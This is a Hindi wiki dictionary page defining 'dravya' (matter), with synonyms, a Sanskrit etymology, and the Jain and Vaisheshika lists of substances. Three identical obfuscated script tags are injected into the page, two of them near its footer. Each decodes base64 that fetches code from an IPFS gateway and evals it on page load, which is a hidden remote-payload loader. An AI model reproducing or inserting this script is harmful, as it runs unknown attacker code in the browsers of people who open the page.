द्रव्य

भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (चर्चा | योगदान) द्वारा परिवर्तित 07:27, 27 जुलाई 2012 का अवतरण (Text replace - "{{लेख प्रगति |आधार=आधार1 |प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}" to "{{लेख प्रगति |आधार= |प्रारम्भि�)
यहाँ जाएँ:भ्रमण, खोजें

(अंग्रेज़ी:Matter) प्रत्येक वह वस्तु जो स्थान घेरती है, जिसमें द्रव्यमान होता है और जिसका अनुभव हम अपनी ज्ञानेन्द्रियों द्वारा कर सकते हैं। उदहारण: लकड़ी, जल, वायु आदि।

शब्द संदर्भ
हिन्दी वस्तु, पदार्थ, चीज़, वह उपादान सामग्री या उपयुक्त जिसमें अन्य वस्तुएँ बनती है। वह पदार्थ जिसमें गुण का आश्रय हो। धन, सम्पत्ति आदि। मदिरा, शराब।
-व्याकरण    धातु
-उदाहरण   जैन दर्शन में 6 द्रव्य माने गए हैं- धर्म, अधर्म, आकाश, पुद्गल, काल और जीव तथा वैशेषिक दर्शन में 9 द्रव्य माने गए- पृथ्वी, जल, अग्नि, वायु आकाश, काल दिक, आत्मा और बुद्धि (मन)।
-विशेष    भारतीय दर्शन के विविध प्रकारों में द्रव्य के विषय में विविध प्रकार के विवेचन मिलते हैं।
-विलोम   
-पर्यायवाची    अचेतन पदार्थ, अजैव पदार्थ, अधिभूत, तत्त्व, पंचभूत, पदार्थ, भूत तत्त्व, भूत पदार्थ, भौतिक पदार्थ, माटी, वस्तु, विषय, स्थूल।
संस्कृत द्रु+यत्, या द्रु + यत्
अन्य ग्रंथ
संबंधित शब्द
संबंधित लेख

अन्य शब्दों के अर्थ के लिए देखें शब्द संदर्भ कोश
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख